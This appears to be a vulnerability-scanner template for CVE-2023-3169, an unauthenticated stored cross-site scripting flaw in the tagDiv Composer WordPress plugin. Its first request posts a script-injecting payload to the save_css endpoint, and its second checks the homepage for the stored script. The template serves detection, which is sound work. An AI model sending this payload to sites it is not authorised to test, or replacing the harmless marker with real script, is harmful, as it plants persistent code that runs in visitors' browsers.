CVE-2023-3169: tagDiv Composer < 4.2 - Stored Cross-Site Scripting

id: CVE-2023-3169

info:
  name: tagDiv Composer < 4.2 - Stored Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    tagDiv Composer plugin versions before 4.2 for WordPress are vulnerable to unauthenticated stored XSS via the /wp-json/tdw/save_css endpoint. An attacker can inject malicious JavaScript code through the compiled_css parameter, which gets stored and executed when the CSS is loaded.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the compiled_css parameter which gets stored and executed when the CSS is loaded, potentially compromising all visitors to the WordPress site.
  remediation: |
    Update tagDiv Composer plugin to version 4.2 or later that properly validates and sanitizes CSS input from the save_css endpoint and requires authentication.
  reference:
    - https://wpscan.com/vulnerability/e6d8216d-ace4-48ba-afca-74da0dc5abb5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3169
    epss-score: 0.36625
    epss-percentile: 0.9699
    cwe-id: CWE-79
    cpe: cpe:2.3:a:tagdiv:tagdiv_composer:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: tagdiv
    product: tagdiv_composer
    fofa-query: body="/wp-content/plugins/td-composer"
  tags: cve,cve2023,wordpress,wp-plugin,wp,xss,td-composer,tagdiv,intrusive,vkev,vuln

variables:
  string: "{{rand_text_numeric(13)}}"
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/tdw/save_css HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        compiled_css=%3C%2Fstyle%3E<script>console.log({{string}})</script>%3Cstyle%3E

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'tdw-css-placeholder"></style><script>console.log({{string}})</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
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